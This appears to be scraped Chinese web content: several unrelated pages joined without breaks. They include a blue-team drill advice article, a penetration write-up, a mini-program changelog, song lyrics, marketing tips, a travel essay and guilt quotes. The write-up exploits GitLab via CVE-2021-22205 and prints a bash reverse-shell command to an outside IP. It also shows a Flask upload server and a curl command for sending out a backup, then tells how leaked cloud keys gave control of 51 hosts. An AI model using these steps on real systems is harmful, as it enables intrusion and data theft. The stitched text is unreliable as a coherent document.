一、攻防演练概述 自2016年开展首届HW行动以来，越来越多的企业、单位加入到HW行动中来，网络攻防演练越来越贴近实际情况，越来越考验其实际安全能力。HW行动对于我国网络安全行业发展有着巨大的促进作用。假若没有HW行动，大多数企业的安全防护体系建设还停留在预算审批阶段，在没有出现大的安全事件和触碰合规红线之前，企业对于安全方面的投入极为克制。HW失败，一年白干，这虽然是业界的一个段子，但是某些时候还是很有道理的。对于所有网络安全人员来说，这是一次年度大考，攻防演练的成败直接决定了他们本年度的绩效。对于提供驻场服务的安全厂商来说同样十分关键，第二年的攻防演练订单能不能续上就看今年驻场人员的表现。 由于HW行动的所有参与单位，最终根据其所获得的分数进行排名，随意排名靠后的单位就会非常被动。虽然不会面临直接处罚，但是会直接影响其评优等多项工作，重要性毋庸置疑。例如2022年，业界疯传某个金融单位因为在网络攻防演练中表现过于糟糕（系统被打穿），直接导致该单位二把手被撤职，下边安全人员和厂商驻场人员都讨不了好。 在攻防演练中，攻守双方分别是红队和蓝队，红队大多数都是由“国家队”、厂商渗透技术人员组成，其中“国家队”的占比大概是60%左右，负责对目标单位发起实战式网络攻击，以此检验其防护体系的实际安全能力。而蓝队基本基本是由企业/单位安全人员、厂商驻场安全服务人员组成，他们不仅要对抗红队持续发起的各种网络攻击，还要在溯源中固定证据，反制红队人员。 二、给蓝队防守方的11个忠告 1、运气第一，实力第二（手动狗头保命） 哪怕实力不强，运气好没被打破，轻轻松松取得令人羡慕的成绩；运气差，哪怕实力再强也有可能因为一个小错误而崩盘。有时候运气这种东西真的没办法吐槽，大家尽力就好。 2、攻防演练再怎么重视也不为过 攻防演练是检验安全体系建设有效性的关键指标之一，就像前文说的“这是一次安全人员的大考”，因此在攻防演练考试之前安全部门需充分向上管理，强调“攻防演练”的重要性，借此尽可能多申请资源，包括应急演练大屏、防守方专用电脑、部署监控视频等。 不论是驻场人员还是内部福利，有多少搞多少，这样才能更好滴提振士气；同时也要做好向下管理，提前给安全人员打好预防针，使得内部在行动指挥上形成统一。据说2023年HW行动刚刚开始，四川某运营商就已经被打穿，这一消息在网安圈内疯狂传播，不论是出于舆情考虑还是站在攻防演练的重要性上（ZZRW），该运营商的领导层都处于一个十分被动的位置，对于安全人员来说也是一个非常糟糕的消息。 3、神队友还是猪队友决定了攻防演练的成败 对于大多数公司/单位来说，蓝队防守方仅仅依靠公司内部安全人员是万万不行的（类似于电信行业大佬不在统计中），所以必须要找外援。说的再直白一点，攻防演练和篮球足球比赛差不多，在某些时候外援才是决定胜负的关键。如果遇上厉害的大佬，直接躺着就把分拿了。 至于怎么找到靠谱的白帽渗透人员，除了已有的资源外平时可以多参加一些相关会议，积累一些人脉。还有个不太文明的方法，如果有心仪的白帽可以将压力给到合作的厂商，利用他们的白帽资源来完成招募的目标。 不论是新队伍还是老队伍，面试环节都需要严肃对待，防止滥竽充数的混子影响战斗力，包括对人员进行技术能力、背景等方面的审核，确定防守方负责人并构建防守方组织架构，与第三方人员签署保密协 议，向防守人员宣贯防守规则及演练相关要求。 4、能不能写好技战法也是一大关键 一篇合格的技战法可以起到锦上添花的作用，让我们的成绩更加明显，也能让错误变的不那么明显，简单来说就是多得分，少掉分。自2016年开展HW行动以来，攻防演练双方的专业水平已经逐渐提升，防守方越来越多地通过设备联动、纵深防御、应急响应、溯源反制来抵挡攻击方专业的网络攻击。因此防守方技战法撰写的四大核心点分别是设备（体系）联动、纵深防御、应急响应、溯源反制。这四大核心点又可以进一步拆分成多个小点，围绕其中某一个点写深写透，凸显我方在攻防演练中的努力与成绩。 5、资产盘点是攻防演练前的准备 大多教情况下，蓝队对于自己的资产情况把控不够，导致部分资产未能纳入有效监测、防护范围，这就成为了防护体系中的暴露面。红队在发起进攻前，会先收集这些薄弱点，并以此为跳板攻入企业关键系统。 资产是安全运营的基础支撑能力，合格的安全管理是建立在对于资产全面且精准掌握的基础之上，动态、周期性的资产监测以及及时的变更预警是非常必要的，保持对于资产部署分析、业务属性及应用上下游关系等清晰的认知，才能够将企业在互联网的暴漏面进行持续收敛。 公网资产评估:通过收集企业暴露在公网的资产信息和敏感信息，分析存在的未知公网资产、以及业务系统源码、账号密码暴露等安全风险，协助企业在攻击者发起信息收集前收敛外部攻击面，提升企业对自身资产的掌握程度以及应对突发安全事件的能力。 内网资产评估:从内网安全维度对主机安全产品核心功能模块的检测结果进行详细分析，从而发现操作系统、业务系统存在的风险隐患为客户解读并持续跟进风险整改期间各类技术问题，协助企业提升操作系统、业务系统本身的健壮性，进而提高内网横向攻击门槛。 6、溯源与反制是防守方的得分神器 由于攻守双方天然处于不对等地位，因此在攻防演练中防守方如果能够通过主动式欺骗措施（例如高级蜜罐）来诱敌深入，收集信息并固定证据，最终对攻击方进行有效杀伤，将会获得非常多的加分。 溯源反制比较关键的是有效还原攻击链： 攻击者是通过“哪个系统”+“哪个漏洞”打进来的，确认攻击IP有哪些。 攻击者打到内网后做了什么操作，例如“流量代理”+“内网穿透”。 最后总结哪些互联网和内网系统被拿下了，并且通过安全流量设备等方式证明攻击者的攻击动作。 在溯源反制中，攻击源捕获是至关重要的步骤，在网络攻击发生时防守方需要通过各种方法获取攻击者的信息，比如说攻击者开始攻击的时间、攻击的手法、利用的漏洞、入口点是什么、有没有在服务器里留下后门、攻击者的IP地址是什么，被攻击的主机有哪些等。 7、布置好蜜罐 蜜罐是溯源与反制中最关键的技术。在攻防演练中，攻击者常利用的突破口多为对外开放的站点、服务上存在的漏洞、未经严格控制而开放的测试站点等。防守方应当提前分析自身网络特性，找到攻击者最可能“光顾”的区域，加强防护的同时，在相应区域内的关键信息节点部署蜜罐，使攻击者在信息收集阶段受到干扰，进而诱导攻击者对蜜罐发动攻击。 另外，目前不少蜜罐都能够监控和记录攻击者进入蜜罐后的所有动作进行，Web类的蜜罐还可识别和记录攻击者使用的攻击方法和攻击载荷，可作为判断攻击者意图的重要依据。防守方将由蜜罐收集的信息汇总至欺骗伪装平台，由平台进行统一分析，根据攻击者的攻击意图战略调整监控防御节点，做到因“敌“制宜。 最后还可以化被动为主动，充分使用主动诱捕战术。主动诱捕主要作用于演练活动启动前2-3天内，此时攻击方正广泛收集目标资产信息，防守方的目标是污染攻击方掌握的资产情报，并诱导攻击者优先访问伪装探针节点。 8、十二分防范钓鱼邮件 随着攻防演练变的越来越规范，除了使用0Day漏洞等大杀器外，攻击方其实很难对防守方的防护体系进行有效突破。这时候攻击方最常用的打点方式就是网络钓鱼攻击。 一般来说，一个制作精良的钓鱼邮件基本都有以下特征。首先是绕过防火墙等查杀手段，目前有多种免杀技术可供攻击方选择，例如使用分离加载的方法，通过C++编写的加载器，并使用MSF作为C2很容易制作一封免杀的钓鱼邮件。 其次，钓鱼邮件都有极强的针对性，里面包含了大量的社会工程学，是对目标用户发起针对性钓鱼，中招的概率并不低。2020年某集团企业副总就曾被钓鱼，直接导致攻防演练被打穿，该副总也因此被开除。因此，在攻防演练期间，企业所有员工必须高度重视钓鱼邮件，提高警惕性，不乱点击附件、网址等，一旦发现可疑邮件立即向安全部门报告。 最后，防守方成员也是攻击方钓鱼的重点目标。这几天各种0Day漏洞的消息满天飞，不少攻击队趁机利用这些漏洞进行钓鱼，大家切勿上当受骗。 9、安全意识培训很有必要 第8条提到钓鱼邮件，那么就不得不提及安全意识培训，尤其是在攻防演练期间很有必要对全员进行安全意识强化培训。以上文提及的钓鱼邮件为例，安全部门可列举常见的钓鱼邮件，深入分析其各项特征。这里分享一个方法，即在攻防演练之前预先发起一次钓鱼邮件攻击测试，对于中招的员工进行专门的培训，提高其安全意识。 钓鱼邮件只是其中之一，还有诸如弱口令、随意连WiFi、随意插U盘都会带来相应的安全问题，企业若能打出一套漂亮的安全意识提升组合拳，定可以大大减少因此带来的安全风险。因此在培训方面也要下一些功夫，这里建议安全部门可以联合行政、人事或市场人员共同参与，制作高质量的安全意识培训内容，而不是像上课一样照本宣科。在进行安全意识培训时可重点关注四大要素：游戏化、个性化、多样性和高质量内容，力争培训内容新颖有意思，千万不能为了培训而培训。 10、加大近源攻击防备力度 这两年近源攻击开始越来越流行，并且被认为是突破企业安全防线的有力突击技术。不同于通过有线网络进行安全性检测的传统方式，近源渗透测试是指测试人员靠近或位于测试目标建筑内部，利用各类无线通信技术、物理接口和智能设备进行渗透测试。近源渗透涉及到的测试对象非常多，包括WiFi、蓝牙、RFID、ZigBee、蜂窝、Ethernet等各类物联网通信技术，甚至包括智能设备的嵌入式安全。 分享部分近年来近源攻击中攻击队常用的工具，防守方可以有的放矢。 无线网卡：外接无线网卡主要是用来配合kali破解无线密码的，现在一般是通过抓握手包然后跑包来破解。还有其他的方式可以通过伪造SSID钓鱼等等。 WIFI 大菠萝：大菠萝不是吃的那个玩意，可以说是一个钓鱼WiFi。最新版本的大菠萝功能更强大，其实可以替代上面的外接无线网卡了。大菠萝可以捕获握手包并模仿目标AP，甚至可以完全模仿首选网络，从而实现中间人攻击。 EMP干扰器：当前电子设备和电路的工作频率不断提高，而工作电压却逐渐降低，因此对电磁脉冲（EMP）的敏感性和易损性也不断增加。同时，电子系统中的集成电路对电磁脉冲比较敏感，往往一个较大的电磁脉冲，就会使集成块产生误码、甚至电子元器件失效或烧毁等。 变色龙：变色龙主要有三种使用方法，第一种是随机化UID进行模糊测试、第二种是支持IC卡的仿真、第三种是存储多张虚拟化卡。 11、利用情报提升威胁感知能力 在攻防演练场景，威胁情报可以作用于防护的多个环节。威胁情报的作用多在于与所有防护产品融合带来的能力加成，它与检测阻断类产品如防火墙、IPS、WAF等联动可以提升检测准确率，与蜜罐类产品联动可有效助益对攻击者的溯源与反制，威胁情报的价值在于样本量及准确性，从更高维度的视角打通不同安全产品、不同防护阶段、不同防护位置信息交换的壁垒，掌握单点攻击全网可知的防守主动权。 如果企业缺乏相应的费用投入，那么在攻防演练期间也应掌握一些免费的威胁情报资源。斗象科技、微步在线等发力攻防演练的厂商，每年都会在攻防演练前发布一些列的漏洞合集，可供参考。例如斗象科技在7月底发布《2023攻防演练必修高危漏洞集合》，整合了近两年在攻防演练被红队利用最频繁且对企业危害较高的漏洞，包含了详细的漏洞基础信息、检测规则和修复方案，对于防守方来说有一定的参考价值。 三、总结 攻防的路径千千万万，于攻击方而言，一个路径上攻击失败，不代表整体攻击失败；一个路径上防守成功，也不代表整体防守成功。安全的木桶效应始终存在，只要有一条路径上的短板、脆弱点被攻击方利用，没能及时防守，可能就是全面的溃败。 1、大型机构/企业的总部的互联网边界越来越难攻陷。原因是通常总部边界的资产梳理清晰，暴露面控制得较好、高危漏洞修复及时，边界安全设备(VPN/SDP等）收缩办公业务，同时分析检测、蜜罐诱捕等能力建设齐全能快速发现攻击尝试 2、钓鱼(邮件、HR应聘等）成为重要手段，而且难以避免。安全中最脆弱的就是人，包括我们看到诈骗电话极难控制，就是因为人的脆弱性。多数情况下，钓鱼成功率，通常超过20%（100个邮件阅读者中，有20个人点击恶意附件）。在实际案例中，甚至能高达70% 3、通过泄漏/暴破账号登录业务系统，再分析登录后的业务系统漏洞，成功率高，成为惯用手段。受限于各业务系统的普遍性安全开发水平，多数业务的登录后业务接口，发现漏洞并不困难，文件上传、SQL注入等。 4、分子公司/供应商成为关键脆弱点，迂回攻击成功率大幅提升。分子公司、供应商的安全建设参差不齐，容易被发现脆弱点，从而迂回突破到总部。不少非总部单元，有n-day高危漏洞补丁没有打全，被攻击者轻易突破也是时有发生的事情。 5、0day/1day成为关键致胜手段。由于演练时间有限，所以积累、挖掘0day，并在演练期间通过0day/1day进行快速突破，成为关键致胜手段。 本文作者：爱吃炸鸡， 转载请注明来自FreeBuf.COM ...

0x00 前言 本次分享主要是分享一次HC中的思路，值得大家学习，服务器已经交给相关部门进行取证等也已经打包结A了 0x01 信息收集 首先给到一个资产是二维码，是一张sese图片里面带有约炮的app下载，扫码后得到如下结果 得到如下结果：https://www.target.com 后进行访问主站 注册成功后发现全是妹子(........)，这个时候先别急，咱第一步先去看他调用的JS资源，随便点击一个资源然后刷新一下看他F12网络   这里首先我只能用当时留下的毫无关联的图片进行演示了，当时我看到的JS文件叫 "MyProfile"   </p> 0x02 JS断点调试 这个凭借个人感觉就是个关键信息(我的资料 - > 配置信息？)，   所以凭借这些理由，我在XHR中锁定了"MyProfile"这个关键字进行JS断点 然后刷新进行调试，在漫长的调试过程中我发现在一个很奇怪的JS文件中调用了我的MyProfile字段，叫 /assets/index-xxxxxx.js   一般来说我就会去审计一下这个JS文件，结果发现好东西了   bindgen: "git+http://123.123.123.123:1111/target2/a.git#0.0.14"   0x03 新突破 我当时就立刻去访问了一下，发现竟然是一个gitlab!   </p> 找了一下历史漏洞，CVE-2021-22205 直接梭哈，成功拿到shell   </p> 由于是执行命令，所以写了shell反弹       echo 'bash -i >& /dev/tcp/123.123.123.123/1111 0>&1' > /tmp/haha.shchmod +x /tmp/haha.sh/bin/bash /tmp/haha.sh 成功反弹shell   </p> 发现是ubunto的16.04，但是本地提权失败，找了SUID也没有办法，想尽了各种办法都没办法提权，打算放弃了。 所以接下来就是去寻找Git权限能做的操作，找了一个下午，最终找到了backups目录里下找到了一个backup的tar包，应该八成就是gitlab上的备份了。   </p>   Flask之取文件 但是问题来了，我怎么做到在我反弹shell中把文件拖出来了呢？scp等都试过了不行，于是乎我就写了个flask的上传页面让shell去curl一下把文件post上来（感觉这思路骚的）   </p> 我的服务器                                     from flask import Flask,requestimport os app = Flask(__name__) @app.route('/upload',methods=['POST'])def upload_file(): file = request.files.get('file') if file : filename = file.filename file.save(os.path.join(os.getcwd(),filename)) return f"File {filename} saved successfully" else: return "worry" if __name__ == '__main__': app.run(host='0.0.0.0',debug=True,port=5000) 受控主机shell   curl -X POST http://123.123.123.123:1111/upload -F file=@./a.gitlab_backup.tar   0x04 云沦陷(泄露AK SK) 几个G，下载漫长的很呢！然后拖到本地后应该就是gitlab的备份了，（因为他备份文件名字中带有gitlab的版本号）要用到对应的gitlab的相应版本去搭建。 然后本地搭建导入备份后慢慢的寻找一些有用信息，后面突然发现一个叫application.yaml的文件，进行审计后泄露了ak和sk（这开发倒是备份挺明白的，全部都写清清楚楚）。 这个时候行云管家一把梭哈，因为权限很大，接管整个云了，总共是51台主机都拿下了。   </p> 0x05 总结 思路就是 ：打点 -> JS文件断点调试 ->新突破上shell-> 解决困难-> 发现新大陆(本地搭建)-> 接管云，最后全部打包好给了JF，也进行取证立A了，到此因为一个JS文件拿下整个云结束了，思路可以学习一波。   </p>     文章来源：先知社区（1201463046740633）原文地址：https://xz.aliyun.com/t/12698   ...

  目前经鹏仔尝试，百度小程序虽然无法给网站带来快收录权限，但是还是可以带来 logo权限，以及保障标识，很多人说小程序没用，但是既然他存在，还是有存在的价值。 个人无法搞百度小程序，去淘宝随便100元办理一个本地的个体营业执照即可。   基于uniapp开发的多端zblog小程序，目前已兼容 百度、微信、QQ。 本次1.0.2版本升级如下： 1.对所有列表UI样式进行优化 2.新增分类菜单页、分类列表页； 3.针对微信小程序添加了分享功能； 4.由于文章数据过大，热门排行榜太消耗资源，所以本次将热门排行榜更换为最新文章接口； 5.对首页以及最新排行榜页面做了简单存储，二次打开时减少空白页面； 6.对小程序sitemap分页bug修改。 资源下载抱歉，下载地址 回复 后刷新可见 ...

有2首，你自己看下为你付出很多演唱：陈卓这场雨下个不停估计是因为我因为我被你伤害了老天他替我哭了我们的爱情就这样莫名其妙的结束了在你没有一句话说出口的时候爱已经走到了尽头不知道是因为什么我真的恨你这场雨下个不停估计是因为我因为我被你伤害了老天他替我哭了我们的爱情就这样莫名其妙的结束了在你没有一句话说出口的时候爱已经走到了尽头不知道是因为什么我真的恨你歌曲: 散了 歌手: 甘洛凡 专辑: 《伤感2010》散了演唱:甘洛凡作词:甘洛凡作曲:梁城 陈辉权不想让你放手是我想得太多就算世界末日只想抱着你看着你就足够请不要转身走就算放弃世界还想挽回你爱 不是一瞬间冲动的是你 唤醒我的爱你说你放弃了我的手在颤抖当初的爱情路都是我们真心的付出你说你害怕了你说爱都看不见了我们的爱情就这样散了想念你的傻笑想念你的拥抱如果还有来世遇见你就好爱 不是一瞬间冲动的是你 唤醒我的爱你说你放弃了我的手在颤抖当初的爱情路都是我们真心的付出你说你害怕了你说爱都看不见了我们的爱情就这样散了你说爱上他了说我们真的结束了所有的甜蜜都不敢想了你说你放弃了你说爱都看不见了我们的爱情就这样散了所有的过去已慢慢散了来时好好的回不去了是出自歌曲《怎么了》。《怎么了》是周杰伦、袁咏琳合唱的一首歌曲，由方文山作词，周杰伦作曲，林迈可编曲，收录于周杰伦2014年12月26日发行的专辑《哎呦，不错哦》中。嘻哈曲风的RAP风格，是周杰伦最独特无法取代的曲风，而这首歌最特别的是男女对唱的分手歌 ，男女都互相赌气冷战，吵到要分手，但是在独自一人时却又不断地问自己怎么了？歌词你说蓝色是你最爱的颜色你说如果没有爱那又如何怎么了 你怎么了看过你曾经最灿烂的笑容看过你紧紧拥抱爱的面孔怎么了 你消失了是不是我错了 搞错了天灰了 雨下着 凝望着 你走了都回不去了?像从前快乐怎么能轻易说要结束怎么会让你抱着我哭太努力的我们最后用力给祝福怎么看你笑着 我却心如刀割原来我们都一样顽固怎么会谁都绝口不提要幸福再也不能牵着你走未来每一步我们怀念什么 失去爱那一刻 才晓得你说蓝色是你最爱的颜色你说如果没有爱那又如何怎么了 你怎么了看过你曾经最灿烂的笑容看过你紧紧拥抱爱的面孔怎么了 你消失了是不是我错了 搞错了越爱着 越痛着 苦笑着 你走了我们约好了 要比我快乐怎么能轻易说要结束怎么会让你抱着我哭太努力的我们最后用力给祝福祝福我最爱的 遇见更爱你的 飞翔着我不想说 你不会懂 请别可怜我受伤的我 究竟需要 一个人 多少年 去度过我不想说 你不会懂 请别可怜我谁说我 一定要 永远笑着我不想怎么能轻易说要结束怎么会让你抱着我哭太努力的我们最后用力给祝福祝福我最爱的 能永远飞翔着原来我们都一样顽固怎么会谁都绝口不提要幸福再也不能牵着你走未来每一步我们怀念什么 失去爱那一刻 才晓得 ...

第一步、写好软文内容 网络推广的软文多种多样，要推广健身俱乐部，可以结合一些健身方面的新闻能够有效的提升品牌和关注，发布的软文内容一定要形式多样。 第二步、软文进行一定的优化处理 普通的软文是具有一定营销价值，但是软文还有一大好处，就是可以对你的网站起到优化作用，软文中一定要带上自己要优化网站的外链，对于软文的写作内容就不再进行详细的叙述了一定要有很好的可读性和原创性。 第三步、软文发布地点 软文的发布，不太注重发布网站的选择，以为当前的热点新闻能够协助提升软文的转载率，这种想法是错误的搜索引擎算法日益智能化的今天，对于软文和网站的相关性已经越来越看重了所以软文内容一定要和网站的内容有相关性，而锚文本链接一定要是网站的关键词，这样才干够提升SEO优化的效果！ 第四步、发布之后的转载技巧 现在有一些软文广告网，可以推广你的软文，像一些门户网站都有投稿功能，软文广告网有专门协助企业或者站长转载的内容，这自然能够极大的提升了软文的价值，而且相对来说投资回报比就更加好！除了人为的帮组转载，那还需要让软文能够自动吸引别人转载，这就是比较好的软文，所以在软文的质量方面也要下功夫！ 请问做一个旅行俱乐部。要一个详细的方案该怎么去写？   健身已成为现代社会的一股热潮，在这股热潮下，很多市民一开始不满足于在健身俱乐部的健身，渴望随时随地都能在家享受健身的酣畅淋漓。 此现象，对于健身器材厂商来说，莫过于最大的喜讯。今天，我们来探讨下，此类厂商如何撰写推广软文，从而将这一喜讯，转化成实实在在的销量。 首先，采用合适的写作风格。对于此类厂商来说，出发点多在推介自己的产品，而健身器材一般价格不菲，所以采取新闻类风格，发布在新闻门户网站，最能体现出健身器材厂商在行业内的权威地位。 其次，结合行业热点，引出所推广健身器材。在此点软文撰稿者可以结合健身器材行业的热点新闻，引出产品。比如撰稿者可以在阐述健身器材行业整体科技创新的趋势下，所宣传对象在科技创新方面最惹人注目等。 再次，重点突出所宣传健身器材的科技创新优势。此点正是对第二点的延续，撰稿者应重点阐明，所宣传产品在那些方面有创新，创新所带来的优势有哪些，特别是与同类其他品牌产品的优势。 第四，突出所宣传品牌健身器材在家用时的方便。此点，软文撰稿者需要对所宣传品牌健身器材为市民健身所带来的方便之处，和为市民日常养生保健所带来的益处，与二、三点相配合，共同引导市民的消费行为。 第五，适当做些相关的促销类活动进行结合宣传，如预售优惠价等等。     扩展资料：     案例 2016年11月6日，居然之家全资子公司怡生体育在北京居然大厦开设了其第一家健身会所。怡生体育是居然之家全资打造的集体育健身、体育用品、商务会所等多功能为一体的体育健身有限公司。未来，怡生体育将依托居然之家的自有场馆，实现全国范围的扩张。 2016年4月，居然之家全资成立了北京怡生体育健身有限公司，注册资本为2000万元。与居然之家相同，怡生体育也定位于中高端的顾客消费群体，以健身服务、体育运动项目、体育产品零售、体育媒介为主营业务。 怡生健身会所除了提供全面的健身服务外，还致力于打造集运动健康、休闲娱乐、商务社交为一体的“一站式健康服务平台”。 怡生体育将依托居然之家集团在人才、服务、资金、社会资源等方面的优势与能力，从“专业型健身、大家居理念、酒店式服务”三个方面打造区别于传统的健身房。 与健身行业“销售第一、私教第二、服务第三”的经营价值链不同，怡生健身会所将形成以服务和消费者需求与体验为先导的“服务为先，团操精品化，教练专业化，再辅以多元化产品运营，销售自然形成”的全新价值循环。 据悉，怡生体育今年内将在居然之家丽泽店开设第二家健身会所，到2017年还将再开6家分店，并向外埠的居然之家拓展。 除了健身会所之外，怡生体育还将在居然之家各门店开设体验式运动商城，引进室内冰雪、冲浪、击剑、攀岩、高尔夫、网球等中高端体育项目，集高端运动项目体验及国际专业运动商品零售于一体。 同时也将在各类运动体验区周边陈设、销售与该项目配套的户外运动装备、配件类商品、运动营养品、运动服饰等产品，探索体育场景式零售模式。 怡生体育还将借助居然之家自有场馆，引入多元化的体育健康项目，进行如足球、篮球、击剑、搏击等项目赛事的商业化运营以及具有一定知名度的赛事IP。 丽泽店体验式运动商城项目和赛事运营相关业务将在2017年启动。 开业当天，居然之家还与昆仑决达成了战略合作关系，双方将定期联合举办昆仑决赛事，充分发挥各自资源优势，提升双方品牌价值和商业价值。 居然之家通过怡生体育进军体育健身行业，延续了向“家庭消费生态圈”转型升级的思路，是其构建以中高端消费者为中心，逐渐向体育、物业、餐饮、影院、养老等业态延伸迈出的重要一步。 旅行俱乐部：1、人员的确定 2、出行方式的确定。 3、行程任务的安排与选好相关的负责人 4、旅行地方的地址 5、旅行攻略 6、了解将要旅行的地方的风俗民俗，尊重当地文化 7、大概的费用要预算好。 8、将人员分组并选好小队长负责。 9、了解来参加旅行人员的大概背景、****、紧急联系人 10、俱乐部自身的人要对旅行的地方做好了解。 11住宿的解决。 如果你是说旅行俱乐部的招纳的话，如何让人参加的方案的话，如下。 1、旅行俱乐部的名称 2、广告宣传文案 3、对将要旅行的地方的优点、吸引人的点介绍出来 4、将出行的行程规划介绍 5、将负责相关旅行过程中的人介绍出来。6、将出行禁忌、注意事项告知。 ...

  小红书对我们来说是一个种草参考平台，很多人都会选择在阅读过小红书的文案后，进行一些产品的选购、旅游地点的选址等等。但让人意想不到的是，因为滤镜的产生，让曾经如此具有参考价值的一个平台，竟然陷入了“照骗”风波。 而“照骗”风波，最早是因为艺人李艺彤在其微博小号上吐槽“小红书真的害人”。她表示，摄影师根据小红书上的旅游打卡地分享找到了一个蒂芙尼蓝的小房子进行拍摄，她听到还以为是蒂芙尼，没想到当她穿着高跟鞋，深一脚浅一脚地爬过礁石，到达摄影师选择的拍照地时，发现那唯美、复古的蓝房子，竟然变成了一个没有门的旱厕，最后一张照片都没拍。为保证吐槽的可靠性，她还放出了景点没用滤镜美化后的照片。随着她对小红书“照骗”的吐槽，越来越多的网友公开表示，也曾被小红书上过度修饰的景点“美照”欺骗过。最终，发酵成了小红书滤镜“照骗”事件。 说实话，了解了“李艺彤说小红书真的害人”的全过程。我真的要笑翻了，没想到明星也会被骗啊！其实，我也曾遇到过“照骗”，不过并不是在小红书上看到的，而是朋友圈里。在朋友圈里，那个地点被称为“小马尔代夫”，照片拍得非常唯美、好看。没想到，找到这个打卡地，才发现那里是个人工挖出的水库，水的颜色也不似照片上清澈，而是深绿色的，气味也不是很好闻。看到实景，我就明白了网红打卡地有多坑人。 总结：我的真实经历及小红书“照骗”事件都告诉我们不要过度相信网红打卡地，也许上唯美的地点，只是滤镜、角度所造成的，而并非真实的。所以，要想选择旅游地，尽量选择一些名胜古迹，而非网红滤镜创造出来的虚假地点。 ...

表示愧疚自责的心情说说篇一 1.也许犯错并不可怕可怕的是沉浸在深深的自责之中。翻篇对我来说真的是太难总是觉得亏欠太多。别想太多随心就好。其他的交给命运。 2.愧疚教会人们重新面对错误。有时，愧疚可以唤醒人们内心深埋的良知。 3.或许我们真的该说再见了呵“也许以后都不会再见” 4.太自责了，坚强居然说：你那么喜欢打我，你都打了我那么多年了。他现在这个臭脾气绝对是受我影响的。 5.忏悔是发自人内心最深处的一种情感，它会使人的心灵得到升华，它会让人认识到最真实的自己。而愧疚则是忏悔后的一种结果。它既是一种悔悟，更是一次心灵的洗礼。 6.姑娘你还在为他的甜言蜜语幸福吗还在为他生气而自责吗还在为他的背叛而伤心吗他根本不爱你好吗 7.一种惭愧、内疚、痛心和崇敬的混合之情，像海潮般地冲击着我。 8.[ 一股伤心 内疚 所有坏情绪涌上心头] 9.最让我自责的事情就是认识你。 10.我爱内疚我爱预感我爱孤独患者我爱你的背包我爱吟游诗人我爱不要说话我爱陈奕迅！ 11.在爱情面前、我彻彻底底失败了。 12.爱一个不爱自己的人，就算付出了一切包括生命，最多也就换来感动感激内疚不安而已。 13.总是把坏脾气带给最亲近的人，把好脾气留给无关紧要的人，此时的心情是崩溃的，是失落的，是自责的。我为什么要那么任性？ 14.我们执着什么，往往就会被什么所骗；我们执着谁，常常就会被谁所伤害。所以我们要学会放下，凡事看淡一些，不牵挂，不计较，是是非非无所谓。无论失去什么，都不要失去好心情。把握住自己的心，让心境清净，洁白，安静。放下不等于放弃，执着不等于坚持。 15.我自责当初为什么不从背后拥紧你 说“我还爱你，留下来” 16.一万个自责，睿睿跑一个水泥斜坡，跑来跑去没事自己玩儿，突然一下没抬高脚我觉得，呛了下，脸擦破皮了，心疼死人了～唉，看孩子压力这么大～ 17.我可不管你们会不会内疚，好人难当，我也不想当什么完全意义上的好人。 18.开始掉入了漩涡里——无尽的自责，又无尽的重复犯错；无尽的让自己去信任，又无尽的被不信任打败。心理创伤无法修复，轻微的抑郁症征兆，这似乎都是我的现状。我不知如何解脱。只是错了就是错了，我会尽力去改正。亲情友情爱情……皆是。愿未来平和，愿真诚相待，愿知错就改，愿关心如初。 19.我个人的言论在社会上造成了严重不良影响，我感到非常自责和痛心。我诚恳向社会公众致以深深的歉意。我作为公众人物，一定吸取教训，严格要求，严于律己。 20.舍不得，更多的是自责，埋怨自己，没能对你善始善终。 21.犯错了……心里这个自责啊！最关键的一点忘的一干二净。 表示愧疚自责的心情说说篇二 22.新学期鼓励自己的话 新生对自己鼓励的话 23.有很多有情人不能终身牵手，但只能苦苦的思念。 24.有时候有些感伤~为孩子、为父母，未能让孩子的起跑线不落于他人未能让父母安享晚年有些自责，有些抱怨！但，现状不是自责和抱怨能解决的！时时惶恐着为明年，为将来，为孩子的未来，为父母的老去仿佛很多的不如意，可生活，不就是这样吗？ 25.显然，有心给你添堵的人不会自责只会怪你太矫情。 26.因为特别在乎你所以每次生气我总是会一个人后悔自责因为特别爱你所以你在我心里不可缺少 27.今天的事情做错了，但是错了也不后悔，都是为了你好，朋友也是分三六九等的，酒肉朋友如果称兄道弟的就可以永远不要联系，今天的事就是个教训|。 28.原来上帝在造你的时候用了最便宜的骨头，所以我原谅你了，你不必自责 29.坚强，是人生路上的精神支柱；是跨越坎坷的信念；是成功走向胜利的根本。一个人，如果不坚强，那他的心灵就永远是一片黑暗沉寂的世界。不要放弃自己就是真正的坚强，能够承认自己的缺点也是难能的坚强，虚心是坚强，努力是坚强，正直是坚强，善良是坚强，怜悯是坚强，自责是坚强，追求是坚强，自爱是坚强，宽恕是坚强。学好坚强的人，首先要学会爱惜自己，但舍已，又是最大的坚强。 30.冰的针刺着我的灵魂，使我永远苦于麻木的疼痛。生活的路还很多，我也还没有忘却翅子的扇动，我想。——我突然想到她的死，然而立刻自责，忏悔了。 31.手机被偷的第五天我不难过每天过着白天睡觉看剧不洗头晚上等老张下班做饭洗碗洗衣服削水果的日子对此我表示自责三分钟并且不打算悔改。 32.在爱情里，谁先动了心，谁就会落了下风。其实不是，而是谁的愧疚深，谁才落了下风。 33.我真后悔，怎么当时没有站出来承认我的错误？这几天我一直心神不宁，他们还能原谅我吗？ 34.现在的社会太现实太残酷了，没有人再认为亲情是重要的了。但我告诉你，凡是钱能解决的问题，就不是大问题。人这一辈子，有许多困扰是无法解决的，比方说生老病死，比方说众叛亲离，比方说勾心斗角，比方说不再相爱。所有的这一切，都比房子啊，钞票啊要严重得多。一个人可以背金钱的债，却不能背感情的债。背金钱的债你有还清的希望，而背了感情的债也许到死都会愧疚。 宋思明 35.口是心非的我每次吵完有多自责这些你都不知道 36.健康时从来没在意过自己的身体，生病了才知道应该对自己说声对不起。 健康时从来没在意过自己的身体，生病了才知道应该对自己说声对不起。 37.我感到很内疚，后悔自己原来的做法，她越对我好，我就越内疚。而我现在所能做到的，就是默默弥补原来的做法，帮助她把成绩提上去，帮助她把爱撒谎的毛病澳掉，做永远的好朋友。 38.『 你离开了，我会祝福你，你不用自责，也不用放在心上，我又不脆弱，何况那算什么伤，反正爱 39.来不及躲闪，目光流转的清澈里，擦肩却不是而过，几世的苍凉寂寞，几世的痴迷等待，终于的换回了今生短暂的相逢，回眸的刹那，只一声轻唤，就荡起了心的涟漪，圈圈都影印着彼此，轻轻的，轻轻地，不敢呼吸，只怕一个转身，就错过今生，错过彼此！ 